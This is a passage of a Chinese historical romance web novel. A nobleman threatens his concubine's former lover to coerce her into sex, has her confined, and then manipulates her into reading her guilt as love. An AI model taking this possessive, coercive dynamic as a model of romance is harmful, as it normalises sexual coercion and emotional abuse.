他的手指再次抚上姜于归的唇瓣,脖颈,肩线,所过之处,留下阵阵阴冷的战栗,激起她一阵阵更剧烈的,无法抑制的战栗。 “是因为这个吗?你是怕大夫诊脉,发现你一直在偷偷服用避子药,对吗?” 她徒劳的否认,声音破碎:“不......不是......” 容璟俯下身,双手撑在书案两侧,把姜于归完全笼罩在自己的阴影里,目光如同看着落入蛛网的飞虫。 “哦?难道不是你心里还念着别人,所以连与我亲近,都觉得玷污了你的清白?这瓶药......是准备为谁守着呢?慕容林晏?” 提到这个名字时,容璟清晰的感受到身下人的战栗。 这战栗取悦了他,也让他心底那股阴寒的戾气愈发滋长。 姜于归徒劳否认,绝望的搬出那个冠冕堂皇的理由:“是府里的规矩......妾身是侧室,不敢......不敢在主母进门前行差踏错,惹未来主母不悦......所以才......才......” 这是她能想到的,最冠冕堂皇,也最符合规矩的理由,她希望这个理由能让容璟相信,能让他放过她。 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容璟像是没听到她的质问,只将手边那本避火图又往她面前推了推,看着姜于归瞬间煞白的脸,语气带着一种不容抗拒的平静,却比疾言厉色更让人恐惧,他声音低沉如诱哄:“我身上有伤,不便动作,这次,你来。既然你说不是,那就证明给我看,证明你心里......没有他。” “不......” 姜于归几乎是脱口而出,声音里带上了她自己都未察觉的哀求,她慌乱的寻找着借口,目光闪烁不定:“世子,您伤势未愈,实在不宜......不宜......” 后面的话她羞于启齿,可她看着容璟依旧冰冷的,没有丝毫动摇的眼神,心一点点沉下去。 绝望之下,那套早已准备好的,看似无懈可击的说辞再次被她搬了出来,只是这一次,声音里带上了浓重的,试图博取同情的哭腔:“世子明鉴......妾身是真的害怕......害怕来日主母入府,会因此不喜,容不下妾身......求世子体谅......” 然而,容璟只是静静的看着姜于归表演。 85. 第 85 章 直到她话音落下,他忽然低低的笑了起来,那笑声里带着无尽的嘲讽,也不知是在嘲弄她的顽固,还是在嘲弄自己竟沦落到,需要用这种方式来捆绑一个女子。 他俯身向前,逼近她,两人之间的距离近得能感受到彼此的呼吸,他一字一句,清晰的,带着一种斩钉截铁的决绝,打破了她的所有幻想。 几乎是贴着姜于归的唇瓣,容璟吐出这句话:“不会有什么主母,我容璟身边,只会有你一个女人。” 姜于归眼中充满了难以置信的茫然,容璟却没有给她任何思考的时间。 看着手中那个白玉小瓶,容璟眼中闪过一抹阴戾,他拔开瓶塞,在姜于归惊恐的目光中,将药丸尽数倒入口中,动作快得惊人。 “不——!” 姜于归终于发出了撕心裂肺的尖叫,扑上前想去抢夺,却只来得及抓住他收回的手腕。 容璟喉结滚动,就着桌上半冷的茶水,面无表情的将那些苦涩的药丸尽数吞下。 然后他垂眸,看着眼前因极度震惊和恐惧而浑身发抖,脸色惨白如纸的姜于归,将空了的药瓶“哐当——”一声丢在她脚边。 容璟咽下那些苦涩的药丸,声音依旧平稳:“现在,我们之间没有隔阂了。” 容璟说完,不再看她惨白如纸的脸色,缓缓直起身,走到那张宽大的紫檀木扶手椅前,坐了下去。 他姿态看似慵懒的靠着椅背,一只手随意搭在扶手上,另一只手则轻轻按着自己受伤未愈的腹部,目光如同阴湿角落里生长的苔藓,牢牢锁在姜于归身上。 他在等。 等她的证明。 时间在死寂中流淌,每一息都漫长如年。 姜于归僵在原地,手脚冰凉。 主动?在这样屈辱的,被逼迫的情形下?在刚刚经历了那样惊心动魄的对质之后?她做不到,身体里的每一根骨头都在叫嚣着抗拒。 见她迟迟不动,容璟再度开口,声音不高,却像阴冷的穿堂风,精准的刺向她最脆弱的地方。 “看来,是我对慕容林晏......太仁慈了。” “别——!” 果然,这句话如同最有效的咒语,瞬间激活了姜于归。 她猛的抬头,眼中充满了惊惧与哀求,几乎是扑到他的身边,抓住他的衣袖。 “我......我证明......我证明给你看!” 看着她眼中为了另一个男人而涌出的恐慌和顺从,容璟的心像是被浸泡在冰水之中,又冷又胀。 可同时,一股扭曲的,阴湿的快意也随之升起。 姜于归颤抖着伸出手,指尖冰凉,颤巍巍的触碰到容璟衣襟带子。 因为手抖得厉害,好几次都滑脱了,她能感觉到容璟的目光始终落在她的头顶,那目光如有实质,带着审视,嘲弄,还有一丝他自己都未曾察觉的,隐秘的期待。 外袍慢慢散开,露出里面月白色的中衣,以及中衣下隐约透出的,包扎伤口的细棉布轮廓。 当中衣也被解开,露出他精壮的胸膛和腹部缠绕的洁白纱布时,姜于归的脸色苍白如纸,她目光躲闪着,不敢与他对视。 “继续。” 他命令道,声音里听不出情绪。 姜于归闭了闭眼,深吸一口气,仿佛赴死般,彻底解他腰间的系带。 这个过程更是漫长而煎熬,她的手指无数次碰到他温热的皮肤,每一次触碰都让她像被电击般瑟缩一下。 而容璟则清晰的感受着姜于归指尖的冰凉和颤抖,感受着她那显而易见的屈辱与不情愿。 容璟靠在椅背上,烛光在他轮廓分明的身体上投下明明暗暗的光影,腹部的纱布显得格外刺眼。 他看着她,如同蛰伏的毒蛇,等待着猎物的献祭。 姜于归僵在原地,下一步该怎么做,那本被扔在一旁的避火图如同讽刺的象征,她根本不敢去看,也羞于去看。 容璟挑眉,语气里的嘲弄如同冰冷的雨丝:“怎么?不会?需要我教你?” 姜于归猛的摇头,泪水在眼眶里打转,她知道自己逃不掉了,她颤抖的伸出手,扶住他的肩膀,然后如同献 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他的动作不再暴烈,却更加深沉,更加绵密,如同阴雨连绵,无孔不入的侵蚀着她的感官,不容她再有半分分神,不容她再想起那个名字。 在这场他主导的,沉默的风暴中,姜于归终于彻底溃败。 不知过了多久,风暴停歇。 容璟沉重的呼吸喷在她的颈侧,腹部的纱布已被鲜血洇湿一小块。 他缓缓起身,捡起衣物一件件穿上,动作间牵扯到伤口,让他几不可察的蹙了下眉。 穿戴整齐后,他看了一眼依旧躺在书案上,眼神空洞的姜于归,声音带着事后的沙哑:“累了就回去歇着。” 说完,他不再停留,转身走出了书房。 门被轻轻合上,将一室狼藉,暧昧与冰冷的苦涩,都关在了身后。 姜于归缓缓蜷缩起来,将脸埋入臂弯,发出了压抑的小兽般的呜咽。 空气中,似乎还残留着那挥之不去的,阴湿的占有欲。 86. 第 86 章 夜半时分,汀兰水榭万籁俱寂,姜于归在惊惧与混乱中刚刚陷入浅眠,梦中仍是容璟那双燃烧着怒火的眸子,以及他吞下药物时决绝的眼神。 “侧夫人!侧夫人!快醒醒!” 一阵急促的拍门声伴随着秋实惊慌失措的呼唤,姜于归心脏猛的一缩,瞬间惊醒。 “秋实?何事惊慌?” 秋实的声音带着哭腔,隔着门板传来:“世子......世子他在书房昏倒了!流了好多血,还发着骇人的高热!府医都过去了,老夫人也惊动了!” 姜于归胡乱抓过一件外衫披上冲了出去。春夜的寒气刺骨,她却浑然不觉,脑海里只有一个念头,他吃了那药!他真的出事了! 书房里灯火通明,压抑的恐慌弥漫在空气中。 浓重的血腥味混杂着苦涩的药味,几乎令人作呕,容璟躺在临时搬来的软榻上,面无血色,额头上布满冰冷的汗珠,身体却在无意识的剧烈颤抖。 他腹部的衣衫已被剪开,新换的绷带又立刻被一大片刺目的鲜血染红,显然伤口已经严重崩裂。 府医正在紧张施针,指尖都在微微发颤,眉头锁成了死结。 老夫人坐在不远处,锐利的目光一直注视着这一切,却始终得不到答案,终于失去了耐心。 “究竟是怎么一回事儿?” 府医额角冷汗涔涔,吞吞吐吐:“这......这脉象浮紧急促,邪热内蕴,如沸如腾!伤口崩裂失血尚在其次,关键是......是......” “是什么?!”威严而冰冷的声音响起,如同寒冬惊雷。 “回......回老夫人,世子除了外伤失血,邪风入体,还......还服用了极寒凉,药性猛烈的虎狼之药!此药与外伤引发的内热两相冲撞,水火相激,才引得高热不退,凶险异常啊!那药......那药依脉象看,似是......是女子避子之用啊!” “轰——!” 府医的话如同惊雷,在姜于归脑海中炸开,几乎要瘫倒在地。 他果然......果然是因那药...... 老夫人的目光瞬间化为实质的利刃,死死钉在姜于归身上,每一个字都像是从冰川深处挤出来的,带着刺骨的寒意。 “你!告诉老身,这究竟是怎么回事?!璟儿为何会服下那种龌龊东西?!” 巨大的压力之下,姜于归终于还是硬着头皮说了出来:“是世子......是世子他......他发现了药......然后,抢过去吃的......” “药?什么药?哪来的药?!”老夫人向前一步,凤头杖几乎要点到姜于归的鼻尖,气势逼人,不容她有丝毫闪躲。 姜于归仰起毫无血色的脸,绝望的闭上了眼睛,仿佛用尽了全身的力气,才从颤抖的唇齿间挤出破碎的音节:“是之前......老夫人您......您赏给妾身的......那瓶避子药......” 死寂。 死一般的寂静笼罩了整个书房,连府医和下人们都屏住了呼吸,恨不得自己能原地消失。 片刻后,老夫人发出一声难以置信的,带着尖锐讽刺的冷笑。 她看着姜于归,眼神里最后一丝因她懂事而产生的怜惜彻底消失殆尽,只剩下被欺骗,被愚弄的震怒,以及一种深切的,毫不掩饰的厌恶。 她指着姜于归,手指因极致的愤怒而剧烈颤抖:“好——好得很!姜氏!老身怜你出身虽低,却懂得分寸,识得大体,你倒好!你竟敢用它来蛊惑璟儿,让他为你做出这等自损身体,荒唐透顶的蠢事!” 老夫人气得胸口剧烈起伏,张嬷嬷连忙上前为她顺气。 她缓了一口气,目光如刀,继续斥道:“我原以为你是个好的,没想到骨子里竟是这般孟浪不堪!用这等下作手段争宠,险些害了璟儿的性命!姜氏,你真是好手段,好深的心机啊!我们荣国公府,容不下你这等祸害!” 姜于归可承担不起这样的罪名,她届时道:“妾身也不知道,世子怎么突然知道有这个药。” 老夫人闻言,脸色一惊,她想起来就在几日前,自己见容璟伤势渐愈,精神也好了些,便将他唤去寿安堂,再次语重心长的提及娶妻之事。 “璟儿,你年岁不小了,堂堂荣国公府,不能一直没有嫡子。即便你如今再宠爱那姜氏,她终究 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那就看看,到底是谁划得清这条线。 很快,长风趁姜于归去老夫人处请安时,彻底搜查了汀兰水榭她的寝居。 果然,在妆匣一个极其隐蔽的暗格里,找到了那个眼熟的白玉瓶,里面正是老夫人所说的避子药。 此刻,真相以最惨烈,最不堪的方式大白于众人面前。 老夫人认定了是姜于归用这瓶她求来的药,怕自己吃了伤身体,所以蓄意蛊惑了容璟吃,在她看来,若非姜于归行为不检,刻意引诱,她一向冷静自持的孙儿,怎会如此失态! “愚蠢!孟浪!不知廉耻!” 老夫人连声斥骂,看着姜于归的眼神如同看着什么肮脏的秽物:“来人!把这个祸害给我拖出去,关进后院柴房!没有我的命令,谁也不准探视,更不准放她出来!若世子问起,就说是我说的,让他好好养伤,不必为这等贱婢费心!” 姜于归连一句完整的辩解都无法说出,就被两个身材粗壮,面无表情的婆子粗暴的从地上架了起来。 87. 第 87 章 她被毫不留情的拖离了那片充斥着药味和血腥气的区域。穿过熟悉的回廊,越过一道道门扉,最终被推搡进后院角落一间阴暗潮湿的柴房。 “砰!——”的一声,木门被重重关上,落锁的声音清晰刺耳,彻底隔绝了外面的一切。 柴房里堆满了杂物,弥漫着霉味和灰尘的气息,姜于归蜷缩在角落冰冷的草堆上,抱紧双膝,浑身冻得瑟瑟发抖,春夜的寒气和地底的潮气,无孔不入的侵袭着她单薄的衣衫。 委屈吗?有的。绝望吗?更是铺天盖地。 可奇怪的是,在这无边的委屈和绝望之下,竟隐隐生出了一丝诡异的平静。那个压得她喘不过气的秘密,终于曝光了。 她不用再日夜提防府医的诊脉,不用再小心翼翼的藏匿那个小瓶。 与此同时,容璟的主屋内。 府医连夜施救,数剂猛药灌下,容璟身上那阵焚身的高热,终于在次日傍晚如潮水般缓缓退去,意识却仿佛沉在一片湿冷的泥沼里,挣扎着浮出水面。 喉间干灼如被火燎,腹部的伤口更是传来一阵阵闷钝的,带着湿意的痛楚,像是内里早已化脓,却无人清理。 他蹙紧眉头,齿间逸出一声低不可闻的呻吟:“水......” 一杯温水立刻凑到他干裂的唇边,同时,一只涂着鲜红蔻丹的,陌生的手,带着一股甜腻到发齁的香粉气味,扶住了他的后颈。 那香气像一条冰冷的蛇,倏钻的入鼻腔。 容璟眼皮猛的一颤,豁然睁开,眼底初时的迷蒙在瞬间褪尽,只余下深潭般的警惕与冰冷。 映入眼帘的,是两张精心修饰过的娇俏面孔,云鬓堆耸,眼神里掺着小心翼翼的怯懦,以及更深处那几乎按捺不住的,对权势的渴望。她们衣着鲜艳,与此间萦绕不去的药味格格不入。 他的声音因久病而沙哑,却像浸了冰水的鞭子,低沉而危险:“你们是谁?” “奴婢春桃/秋月,是老夫人派来,专门伺候世子的。” 两个丫鬟声音娇滴,带着刻意的柔媚。 容璟没有立刻发作,他只是缓缓的用一种审视物品般的冰冷目光从她们脸上刮过,那目光所及之处,仿佛连空气都冻结了。 他没有挥开,只是极其轻微的偏了偏头,避开了那令他作呕的触碰。 “滚出去。” 三个字,轻飘飘的,没有半分火气,却带着一种能渗入骨髓的阴寒。 春桃秋月脸上的血色瞬间褪尽,娇媚僵在嘴角,化为惊恐。 他没有再看她们一眼,目光掠过跪在门口,眼睛红肿的秋实。 “姜氏呢?”他问,语调平缓得令人心慌。 秋实扑到床前,声音发颤:“回世子,侧夫人......侧夫人昨夜就被老夫人下令......关进后院柴房了......” 室内陷入一片死寂。 容璟缓缓阖上眼,半晌,喉间竟滚出一声低哑的意味难明的轻笑。 呵。 祖母的手段,从来如此,惩戒姜于归,再顺势塞进两个庸脂俗粉来玷污他的地方,试图取代那个即便恨着,也让他食髓知味无法放手的人? 真是,愚蠢得可笑。 伤口还在隐隐作痛,那股湿冷的痛意,似乎顺着血脉蔓延到了心口。 昨日吞药时的决绝与愤怒,在理智回笼后并未消散,而是沉淀成了更更阴暗的东西。 他气她的隐瞒,恨她的抗拒,但更深的是一种被排斥在外的,冰冷的孤寂。 她宁可去求祖母,用那些阴损的药物伤害自身,也不愿对他流露半分真实。 为什么偏偏是她?既然她不愿留下任何牵绊,一心只想飞走,那他偏要折断她的羽翼,让她在这片由他掌控的泥沼中,与他一同沉沦。 关进柴房?那种地方,怎么够。 他要她待的地方,从来只有他身边,是笼络还是摧毁,是给予还是剥夺,都只能由他来决定。 容璟对着空气漠然开口,声音不高,却足以让暗处的人听清:“处理掉。” 没有指明处理什么,但隐在暗处的长风已然明了。 下一刻,春桃秋月便被无声无息的请了出去,连同那甜腻的香气一起,被彻底清理出这片空间。 室内重归寂静,只剩下浓郁的药味和他自己清浅的呼吸。 容璟靠在床头,面色是一种失血后的苍白,眼神却幽暗如古井,深不见底。 所有的风暴都被压抑在那片平静的水面之下,酝 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清溪镇的桃花,暖风,林晏温柔含笑递过花枝的手,那画面曾是她绝望中唯一的慰藉,此刻想起,却像隔着一层厚重的水雾,遥远而不真实。 取而代之的,是容璟的身影。 鸿门宴上,他披着玄狐大氅踏雪而来,将她从永嘉公主的刁难中带走,他受伤虚弱时,依赖的靠在她怀中,透露朝堂秘辛,书房里,他逼她证明,眼神偏执疯狂,却又在她提及未来主母时,斩钉截铁的说不会有什么主母。 然后,他吞下了那瓶药。 他为什么要这么做?为了证明什么?为了彻底断绝她的退路?还是......用这种极端的方式,逼迫她正视他的存在? 一股难以言喻的复杂情绪在胸中翻腾,有恐惧,有屈辱,有愤怒,但奇异的是,还有一种更深沉的,连她自己都不愿承认的......愧疚与一丝隐忧。 他因救林晏而离京,因离京而遇刺,这关联像一根细针,悄无声息的刺入她心底。 若他真的因此......姜于归不敢深想。 但是现在这些念头都没有眼下的更重要。 活着...... 这个念想在姜于归混沌的脑海中炸开。 是啊,活着。 88. 第 88 章 林晏远在天边,生死未卜,前程渺茫,他们之间,隔着皇权,那段旧情,美则美矣,却如同镜花水月,再也捞不起来了。 而容璟,近在眼前。 他是现在掌控她生死的人。 继续硬抗下去,会是什么结果?在这柴房里悄无声息的病死,饿死?或者被盛怒的老夫人寻个由头发卖,甚至处死? 那林晏怎么办?若他日后洗刷冤屈,归来却发现她已是一抔黄土,又有何意义? 更重要的是她自己的命呢?她好不容易得来的第二次生命,就要这样毫无价值的葬送在这阴冷的柴房里吗? 不。 一个清晰无比的念头,如同利剑劈开迷雾。 她要活下去。 不是为了林晏,不是为了任何虚无缥缈的爱情或承诺,仅仅是为了她自己。 认错,服软,回到容璟身边。这是目前唯一的生路。 这不是对感情的屈服,这是对现实的妥协,是绝境中求生的本能。 想通了这一点,姜于归忽然觉得浑身一轻。那压得她喘不过气的道德枷锁,情感纠葛,似乎在生存二字面前,都显得不再那么重要。 姜于归艰难的挪动冻得僵硬的身体,爬到门边,用尽力气拍打着厚重的木门。 “来人......来人......” 声音嘶哑,却带着一种前所未有的坚定。 门外传来看守婆子不耐烦的呵斥:“吵什么吵!安分点!” 姜于归深吸一口气,尽量让自己的声音听起来清晰,冷静,甚至带上了一丝恰到好处的虚弱与悔意:“嬷嬷......劳烦您通传一声......妾身知错了,想求见世子......当面请罪......” 她顿了顿,补充道,语气带着真切的担忧:“世子伤势未愈,妾身......实在忧心......” 几乎就在姜于归于柴房内明心认错的同一时刻,那边的容璟再次缓缓睁开了眼睛。 他的声音因久未进水而沙哑,却不容置疑:“长风。” 一直如同影子般守在暗处的长风立刻现身,无声递上一杯温水。 慢条斯理的喝了水,容璟这才缓缓开口:“柴房那边......如何了?” 长风复述得毫无感情色彩:“据看守回报,侧夫人初始沉默,今日傍晚时分,开始拍门,言道......知错,想求见世子,当面请罪。看守言其声音虚弱,似有担忧世子伤势之意。” 知错?请罪? 容璟眼底掠过一丝极深的嘲讽,但深处,似乎又有某种难以察觉的波动。 他了解姜于归,她骨子里有种执拗,若非真到了绝境,或是想通了什么,绝不会轻易说出知错二字。 是冻得受不住了?饿得受不了了?还是......真的在担心他的伤? 无论是哪一种,他都不能再让她待在那个地方。 他的人,就算要罚,也只能在他的眼皮子底下,是冷着,饿着,还是用别的什么方式惩罚,都由他说了算。旁人,包括祖母,都无权代劳。 容璟冷声下令:“更衣。” 长风罕见的流露出迟疑:“世子,您的伤......” 容璟语气平淡,却带着不容反驳的决绝:“死不了,去柴房。” 他倒要亲眼看看,那个狠心瞒着他用药,宁可去求祖母也不愿与他直言的女人,如今这副知错的模样,究竟是真是假。 后院柴房外,气氛凝滞。 姜于归靠在门板上,能清晰的听到外面看守婆子压低声音的交谈。 “真要去禀报?老夫人可是下了死命令......” “可她说是知错了,想见世子......万一世子怪罪下来......” “哼,一个狐媚子,仗着世子宠爱就无法无天,如今惹出这么大祸事,还想翻身?我看......” “可是世子那边也派人传话说......” 婆子的话音未落,一阵沉稳而略显急促的脚步声由远及近,打破了夜的寂静。 姜于归心头一跳,下意识的屏住了呼吸。 门外,传来了长风冰冷无波的声音:“世子令,带侧夫人回汀兰水榭。” 短暂的死寂。 随即是看守婆子带着惶恐和为难的声音:“长风,风侍卫......不是小的们不放人,实在是老夫人有严令,没有她老人家 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有审视,有嘲弄,有未消的怒意,或许......还有一丝几不可察的,连他自己都未曾意识到的如释重负。 他就那样静静的站在那里,仿佛连站立都需要倚靠旁人的力量,然而周身散发出的强势与威压,却让整个后院的空气都为之凝固。 姜于归的心脏像是被一只无形的手紧紧攥住,呼吸一滞。 她没想到他会亲自来,以他如今的伤势,从主院到这里,这段路对他而言不亚于一场酷刑。 是为了显示他的绝对掌控?还是...... 不容姜于归细想,长风已经侧身让开通路,对她做了一个请的手势:“侧夫人,请。” 姜于归扶着门框,艰难的站起身,双腿因久蜷和寒冷而麻木,险些软倒,她强撑着,一步一步,挪出了这间困了她两日的阴暗牢笼。 在经过容璟身边时,她停下了脚步,抬起头,迎上他那深不见底的目光。 千言万语在喉间翻滚,最终,她只是深深的垂下眼睫,用一种清晰而柔顺,却不显卑微的语气,轻声道:“妾身......谢世子。” 89. 第 89 章 她没有立刻痛哭流涕的忏悔,也没有急切的辩解。 容璟的目光在姜于归低垂的头颅上停留了一瞬,看着她苍白憔悴却依旧难掩清丽的面容,看着她微微颤抖却努力挺直的脊背,眼底的冰霜似乎融化了一瞬,但很快又被更深的复杂情绪覆盖。 他未发一言,只是对长风微微颔首。 长风会意,立刻对搀扶容璟的侍卫道:“送世子回去。” 随即转向姜于归,说道:“侧夫人,属下回您回汀兰水榭。” 容璟深深看了姜于归一眼,那眼神仿佛在说回去再跟你算账,随即在侍卫的搀扶下,率先转身,朝着来时的方向缓慢行去。每一步都似乎牵扯着腹部的伤口,但他的背影依旧挺直,带着不容置疑的威严。 姜于归在长风的护送下跟在了后面,就在他们即将走出后院时,得到消息的张嬷嬷急匆匆赶来,看到眼前情景,脸色变了变,强笑着对长风道:“风侍卫,这......老夫人那边......” 长风脚步未停,只留下一句冰冷的话,既是说给张嬷嬷,也是说给这府里所有暗中窥探的人听:“世子命属下回禀老夫人,人我已带回,不劳祖母费心。此事我自有主张,祖母若因此气坏身子,孙儿担待不起。” 张嬷嬷僵在原地,脸色一阵青一阵白,眼睁睁看着一行人离去。 这话,客气中带着强硬,关切里藏着威胁,明确的宣告了容璟的态度。 姜于归是他的人,如何处置,只有他能决定,即便是老夫人,也不能越俎代庖。 回到汀兰水榭,熟悉的暖意和熏香气息扑面而来,姜于归竟有一种恍如隔世之感。 秋实早已得到消息,红着眼眶迎上来,看到她狼狈的模样,眼泪差点掉下来:“夫人,您可回来了......” 姜于归拍了拍秋实的手,虚弱的声音开口道:“别担心了,帮我备水,我想沐浴。” 秋实立刻擦拭着眼泪扶着姜于归,贴心的说道:“晚膳和热水都已经备好,侧夫人先吃些东西再去沐浴吧。” 而另一边,容璟被扶回内室躺下,府医早已候着,立刻上前重新检查伤口,换药,一番忙碌后,寝室内终于重归安静。 容璟靠在引枕上,闭目养神,脸色依旧不好看。 重新穿戴整齐的姜于归站在床前不远处,她知道,真正的审判,现在才开始。 她开口,声音依旧沙哑,却清晰稳定:“世子,妾身知错。” 容璟缓缓睁开眼,目光落在她身上,冰冷而审视,等着她的下文。 姜于归一字一句道:“妾身错在,不该隐瞒用药之事,更不该......去求老夫人。此等行径,是为不忠,亦是......辜负了世子的心意。” 姜于归巧妙的将不愿生子的核心矛盾,转化为隐瞒和求助路径错误的行为问题,因为这两日她也仔细分析了,这个答案,应当是说准了才是。 她语气诚恳,继续说道:“妾身深知,世子待妾身与众不同,妾身却因一己怯懦与糊涂,险些酿成大祸,累及世子安危,这两日在柴房,妾身反复思量,追悔莫及。” 姜于归没有提林晏,没有提被迫,只谈自己的错处,和对容璟伤势的担忧。 这是她在柴房中想明白的,在绝对的力量面前,解释缘由毫无意义,展现价值和态度才是关键。 “妾身不敢奢求世子即刻原谅,只求世子给妾身一个将功折罪的机会。世子伤势未愈,妾身愿尽心竭力,侍奉榻前,直至世子康复。” 说完,她不再言语,将选择权,交回到了容璟手中。 室内一片寂静,只有烛火燃烧时偶尔发出的噼啪轻响。 容璟看着姜于归纤细而单薄的背影,心中那股积郁了两日的怒火,以及某种难以言喻的刺痛,似乎并没有因为她的认错而完全消散,但却奇异的被另一种更复杂的情绪搅动。 她认错了,姿态放得足够低,理由也给得还算能听。最重要的是,她提到了担忧他的伤势,并且主动请求侍奉榻前。 这是姜于归第一次,如此明确的表示出愿意靠近,愿意承担责任。 容璟知道这其中有多少是真心,多少是求生欲下的表演。 但那又怎样?他本就不指望她能立刻掏心掏肺,他要的,本就是她的人,她的顺从,她的依赖,一步步,直到她的心也无处可逃。 良久后头顶终于传来了容璟听不出情绪 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容璟清晰的感受到了这细微的变化,他没有用力,只是用指尖若有似无反复的摩擦着她腕间细腻的皮肤,感受着她脉搏的跳动,比平时稍快。 “恨我吗?”他问。 声音轻柔得像一阵阴风,目光却如冰冷的探针,不容她回避,紧紧锁住她低垂的眼睫。 姜于归被迫抬眸,对上他深邃的眼。 恨吗?自然是恨的,恨他的强取豪夺,恨他的步步紧逼,恨他将她困在这金丝笼中。 但此刻,看着他因失血而苍白的脸色,感受着手腕上传来的,因虚弱而微微发颤的力道,那恨意里,竟掺杂了一丝连她自己都厌恶的,沉甸甸的......愧疚。 若非容璟不是为了救林晏,不会被睿王的外祖追杀,或许他们不知道容璟救走林晏一事,但还是选择称他离京痛下杀手。 想到这里,姜于归心里的愧疚再次增加几分。 她避开他过于锐利的视线,声音轻得像一声叹息,带着认命般的疲惫:“恨不起。” 90. 第 90 章 这话半真半假,恨意被这该死的愧疚暂时压制,但并未消散,只是沉入了心底更深处,与对林晏的思念,对自身处境的绝望混杂在一起。 容璟似乎满意了这个答案,松开了手,唇角几不可查的勾起一丝极淡的弧度。 他要的就是这个效果。 愧疚,是比恐惧更牢固的锁链,它能将人绑得更紧,甚至......催生出一些别的东西。 容璟的伤在姜于归的精心照料下,一日好过一日,他能下床走动后,时常会在书房处理公务,而姜于归则被要求在一旁磨墨。 他看着她低眉顺目的侧影,看着她因长时间保持一个姿势而微微泛酸的肩颈,看着她偶尔在他因伤口疼痛而蹙眉时,手下无意识加快的磨墨动作。 他看得分明,那不仅仅是尽责,那里面掺杂了更多复杂的东西,一种因他伤痛而起的,细微的担忧与关切。 时机到了。 这日,窗外月色朦胧,水榭内烛光暖融。 姜于归正替他更换寝衣,指尖不可避免的触碰到他温热的皮肤。 当她微凉的手指拂过他腹部伤口旁完好的肌肤时,容璟清的的感觉到,她的指尖不再如往日那般紧张颤抖,好似已经习惯这样的接触。 在她系好衣带,欲转身退开时,容璟忽然伸手,不是强硬的禁锢,而是轻轻握住了她的手腕,力道温和,却不容拒绝。 姜于归身体一僵,却没有立刻抽手,只是抬眸看他,眼中带着疑惑。 容璟的目光沉静如水,带着一种洞悉一切的深邃,他缓缓开口,声音低沉而富有磁性,仿佛带着蛊惑人心的力量:“于归,你在愧疚。” 他精准的点破她心底最纠结的情绪。 姜于归睫毛猛的一颤,想要否认,却在他了然的目光下无所遁形。 “你知道的,我受伤是因为什么,所以很难受,是吗?所以你这般尽心竭力的照料,是在赎罪。” 姜于归抿紧了唇,默认了。 这确实是这些日子以来,压在她心头最重的一块石头。 容璟却轻轻摇头,握着她手腕的指尖微微收紧,传递着一种不容置疑的意味:“你错了。” 他凝视着她的眼睛,不允许她有丝毫闪躲:“看着我,于归,你看着我,然后告诉我,你此刻心底涌起的,对我伤势的担忧,对我疼痛的不忍,仅仅只是因为......愧疚吗?” 他的话语像是一把钥匙,试图撬开她紧锁的心门,似乎在引导着什么? “不是......” 姜于归轻声开口,但还没说完,就被容璟斩钉截铁的打断。 “没错!那不是愧疚,至少不全是,那是关心,是牵挂,是......在意。” 容璟将她的手腕轻轻抬起,贴在自己心口,让她感受那沉稳有力的心跳。 “你在意我,姜于归。就像......我在意你一样。” 这句话如同惊雷,在姜于归耳边炸响。 她猛的想抽回手,却被他牢牢按住,掌心下,他心脏的搏动透过薄薄的寝衣传来,一下,又一下,强劲而真实,仿佛在印证着他的话语。 “别否认。” 容璟靠近她,气息拂过她的耳廓,带着温热与强势:“承认它,并没有那么难。你我朝夕相对,生死与共过,产生情愫是再自然不过的事情,这无关对错,只关乎......本能。” 他巧妙的将愧疚与在意捆绑,将她因他伤势而起的正常人道关怀,扭曲成了男女之情。 他要让她相信,她对他,早已情根深种,只是被所谓的愧疚和对林晏的忠诚所蒙蔽。 姜于归的脑子很乱,他的话,像是一张精心编织的网,每个节点都似乎能自圆其说。 是啊,人非草木,孰能无情,他们之间经历了这么多,她对他......真的只有恨和怕吗?似乎,也不尽然。 尤其是在他重伤虚弱的时候,那种剥离了强势外壳的脆弱,确实曾在她心里激起过别样的涟漪。 难道......那真的是...... “林晏......” 容璟适时的提起这个名字,感受到手下她的身体瞬间僵硬,但他不容她退缩。 “他已是过去。你确实是因他而来盛京,却又阴差阳错,你我相遇。或许他存在的意义,就是为了将你......引向我。” 这个结论何其荒谬,却又被他用如此理所当然的语气道出,带着一种颠覆性的力量,冲击着姜于归固有的认知。 他将林晏的存在,重新定义为了他们感情的引路人和基石。一瞬间,姜于归甚至 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他没有再逼迫,只是松开了她的手,转而轻轻抚了抚她的发顶,动作带着一种近乎怜爱的姿态。 “夜深了,去歇着吧。不必急于想明白,我们......有的是时间。” 姜于归几乎是逃也似的离开了他的寝居,回到汀兰水榭,她靠在门板上,心脏仍在狂跳,容璟的话语在她脑中反复回响。 你在意我...... 他存在的意义,就是为了将你引向我。 你在用愧疚,来掩饰你已经爱上我的事实。 起初,这些话像带着魔力,让她不由自主的顺着他的思路去想。 是啊,如果不是在意,为什么那么怕他死?如果不是有情,为什么在他温和时会感到片刻的宁静?难道她真的......在不知不觉中,对这个人...... 这个念头让她感到一阵恐慌和强烈的自我厌恶。 她怎么能?怎么可以对一个强迫她,禁锢她,间接导致林晏死亡的人动心? 然而,当她试图冷静下来,剥离掉他话语里那些煽动性的词语,用理智去分析时,那股被蛊惑的感觉渐渐退去,一种毛骨悚然的不对劲浮上心头。 容璟在偷换概念! 91. 第 91 章 他将她基于人道主义的关怀和正常的情感反馈,强行与男女之爱画上了等号。他将林晏定位成媒介,完全抹杀了他们之间那段真挚感情的独立性和价值,仿佛林晏和她的一切过往,都只是为了铺垫她与容璟的相遇? 这何其荒谬!这简直是对她和林晏之间所有美好的亵渎! 还有那句用愧疚掩饰爱意,更是强盗逻辑! 照他这么说,任何复杂的,负面的情感,都可以被解释成爱的变体了? 恐惧可以是爱,恨也可以是爱,愧疚当然更能是爱!那这世上还有什么情感是不能被扭曲的吗? 姜于归想立刻冲回去,大声的反驳他,告诉容璟他的逻辑是多么可笑,他的结论是多么荒唐!她想撕破他那副洞悉一切,掌控一切的虚伪面具! 可是,当她握住门栓的手用力到指节发白时,一股深深的无力感涌上心头。 反驳?有意义吗? 他是容璟,是那个能将黑说成白,能将她的反抗和坚持都轻易碾碎的荣国公世子。 他会听吗?他不会。他只会用更多,更缜密,更强大的歪理来驳斥她,直到她哑口无言,直到他再次证明他是对的。 而且,她敢吗? 林晏......林晏他真的已经安全了吗? 这个念头像一盆冰水,瞬间浇熄了姜于归心头刚刚燃起的那点反抗的火苗。 她不能冒这个险,一丝一毫都不能。 争辩除了激怒他,除了可能给林晏带来未知的风险,除了让她自己陷入更疲惫,更绝望的境地,还有什么用? 不如......就沉默吧。 